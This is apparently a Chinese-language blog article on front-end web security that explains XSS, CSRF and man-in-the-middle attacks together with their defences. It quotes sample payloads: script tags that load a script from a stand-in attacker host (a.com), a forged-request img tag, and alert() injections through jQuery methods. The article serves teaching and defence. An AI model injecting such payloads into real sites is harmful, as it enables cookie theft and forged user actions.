前端安全是确保 Web 应用程序在客户端环境中免受攻击和数据泄露;前端安全需要从多个层面进行防护,包括输入输出处理、依赖管理、数据存储和传输等。通过遵循最佳实践和使用现代安全机制,可以有效降低前端安全风险。

多数时候安全往往需要高成本和高人力支出和维护,它与现代要求的敏捷开发是完全不同的,这也就意味作为开发者的我们需要自行均衡这两点。

前端安全其实最需要记住的一点就是:不要在页面中插入任何不可信数据,除非这些数据已经据根据编码规则进行了编码。前端安全涉及的内容相当宽泛,这篇文章主要介绍:「XSS」 「CSRF」 「MITM」

XSS

跨站脚本攻击,Cross Site Scripting,简称 XSS 正常来说应该简称CSS,但是为了和CSS(层叠样式表)做出区分,故此改简称为XSS 恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。

防范 XSS 秘诀:「对输入进行验证」 和 「对输出进行编码」,强烈推荐阅读一下这篇文章:XSS Filter Evasion Cheat Sheet 中文版,看完你会发现 XSS 有非常多不同种类的攻击方式。这里我们介绍几个常见的:

反射型

其原理为攻击者通过在 URL 插入恶意代码,其他用户访问该恶意链接时,服务端在 URL 取出恶意代码后拼接至 HTML 中返回给用户浏览器。

示例:
攻击者诱导被害者打开链接 hzfe.org?name=<script src="http://a.com/attack.js"/>
被攻击网站服务器收到请求后,未经处理直接将 URL 的 name 字段直接拼接至前端模版中,并返回数据;
被害者在不知情的情况下,执行了攻击者注入的脚本,获取到被害者的浏览器 cookie 和其他敏感数据。

持久型

其原理为攻击者将注入脚本提交到被攻击网站的数据库中,当有其他用户使用浏览器访问并请求数据时,注入脚本从服务器返回并执行。

示例:

攻击者在目标网站类似留言板模块中提交了 <script src='http://a.com/attack.js'>
目标网站服务端未经转义存储了恶意代码,前端请求到数据后直接通过 innerHTML 渲染到页面中;
其他用户在访问该留言板模块时,会自动执行攻击者注入脚本。

DOM型

原理就是攻击者通过在 URL 插入恶意代码,客户端脚本取出 URL 中的恶意代码并执行。

示例:

攻击者诱导被害者打开链接 hzfe.org?name=<script src="http://a.com/attack.js"/>
被攻击网站前端取出 URL 的 name 字段后未经转义直接通过 innerHTML 渲染到页面中;
被害者在不知情的情况下,执行了攻击者注入的脚本。

防范手段

XSS 绝大多数攻击都是通过恶意脚本进行攻击的,所以我们的防范手段主要就是对用户输入进行验证和对输出进行编码;
以及对输出到页面中的内容要继续编码转义;同时也建议 CSP(即Content Security Policy,内容安全策略),规定客户端哪些外部资源可以加载和执行,从而降低 XSS 风险。

条件允许的话还可以设置 Cookie 的 httpOnly 属性,禁止 JavaScript 读取 Cookie 防止被窃取

CSRF

跨站请求伪造,攻击者诱导受害者进入第三方网站,在第三方网站中被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的身份凭证,达到冒充用户对被攻击网站执行某项操作的目的。

这类攻击的特点是:一般发生在第三方网站上;它利用的时浏览器在发送 HTTP 请求时会自动携带 Cookie 的特性,冒充受害者身份发送请求;攻击者并不能获取到受害者的身份凭证,只能「冒用」。

这类攻击的形式也很多种,常见的就有「图片 URL」、「跳转超链接」、「Form 提交」…

例如:

攻击者在第三方网站上放置一个如下的 img
<img src="http://hzfe.org/article/delete" />

受害者访问该页面后(前提:受害者在 hzfe.org 登录过且产生了 Cookie 信息),浏览器会自动发起这个请求,hzfe.org 就会收到包含受害者身份凭证的一次跨域请求。

若目标网站没有任何防范措施,那攻击者就能冒充受害者完成这一次请求操作。

防范 CSRF

使用 CSRF Token 验证用户身份

服务端生成 CSRF Token,并存储到 Session 中(并非只能存储到 Session 中还可以选择其他存储方式),用户提交时必须携带上 Token,服务器验证 Token 是否合法有效。

注意,这种方法虽然能比较有效的防御 CSRF 攻击(前提是 Token 没有被 XSS 漏洞泄漏),但是也存在一些问题,比如大型网站中 Session 存储会增加不少的服务器压力,且若是分布式集群使用还需要一个公共的存储空间存储 Token,否则可能会有用户请求到不同服务器上导致用户凭证失效;总之这种方法需要一定的成本和工作量。

双重 Cookie 验证

利用攻击者不能获取 Cookie 的特点,在 URL 参数有或者自定义请求头上带上 Cookie 数据,服务器再验证该数据是否与 Cookie 数据一致,从而判断用户身份信息。

这种方法简单好用,不需要使用到 Session 存储数据。

其他补充

MITM

中间人攻击,是一种通过各种技术手段侵入两台设备的人通信网络攻击方法。
成功的中间人攻击主要分为两个不同的阶段:「拦截」和「解密」

拦截

即攻击者需要用户数据在到达目标设备之前拦截并通过攻击者的网络。分为被动攻击和主动攻击。

最常见的被动攻击就是:攻击者向公众提供免费的恶意 WiFi 热点,一旦有受害者连接该热点,攻击者就能完全了解其所有数据的在线数据交换。

而主动攻击比较常见的有这两种:

解密

拦截后,若连接是使用 HTTPS 协议即传递的数据用了 SSL / TLS 加密,这时还需要其他手段去解密用户数据。

中间人攻击防范

中间人攻击对网站和用户都有一定要求,进行防范需要用户与开发者共同进行。

对于开发者而言,能做到的就是让网络服务支持 HTTPS,并开启 HSTS 策略。

而对于用户而言,需要注意的就是:尽快能的使用 HTTPS 链接、避免连接不知名且不确定安全性的 WiFi 热点、重视浏览器的安全提示与通知、公共网络环境下避免敏感信息的交互、不下载来源不明的证书、使用可信的第三方 CA 厂商。

其他安全补充

target=“_blank” 存在跳转风险

带有 target=“_blank” 跳转的网页拥有了浏览器 window.opener 对象赋予的对原网页的跳转权限,这可能会被恶意网站利用。

例如:一个恶意网站在某 UGC 网站 Po 了其恶意网址,该 UGC 网站用户在新窗口打开页面时,恶意网站利用该漏洞将原 UGC 网站跳转到伪造的钓鱼页面,用户返回到原窗口时可能会忽视浏览器 URL 已发生了变化,伪造页面即可进一步进行钓鱼或其他恶意行为…

修复方法:为 target=“_blank” 加上 rel=“noopener noreferrer” 属性。

JQuery部分方法存在 XSS 风险

JQuery 中有部分方法在使用时可能会存在 XSS 风险,请在使用前需要对输入的内容进行编码或者其他检查

.html(val) | $("#MyH").html("as>\"<img src=abc.jpg onerror='alert(0);'>alert('s');");

.append(val)|$("#MyH").append("<strong>Hello</strong><script>alert(3);");

.prepend(val)|$("#MyH").prepend("<strong>Hello</strong><script>alert(3);"); 

.before(val)|$("#MyH").before("<strong>Hello</strong><script>alert(3);"); 

.replaceWith(val)|$("#MyH").replaceWith("<strong>Hello</strong><script>alert(3);"); 

.after(val)|$("#MyH").after("<strong>Hello</strong><script>alert(3);");

修复方法

  • 在使用前应该对输入的内容进行编码或检查
  • 使用 .text() 方法替换 .html() 方法操作元素内容

相关参考

近期文章
title: Vue.nextTick 机制
time: 2023-05-15
tag: #前端#Vue
title: CDN 工作原理
time: 2023-03-31
tag: #网络